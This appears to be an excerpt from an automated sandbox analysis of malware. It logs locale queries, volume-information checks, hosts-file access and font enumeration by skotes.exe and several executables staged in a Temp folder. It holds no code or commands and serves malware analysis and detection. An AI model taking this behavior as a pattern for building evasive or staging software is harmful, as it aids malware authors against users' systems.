Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	7_2_00AE2A13
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: GetLocaleInfoW,	7_2_00AE327E
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	7_2_00AE2CFF
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: EnumSystemLocalesW,	7_2_00AE2C64
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: GetLocaleInfoW,	7_2_00AE2FB1
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: EnumSystemLocalesW,	7_2_00ADF717
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: EnumSystemLocalesW,	7_2_00AE2F52

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
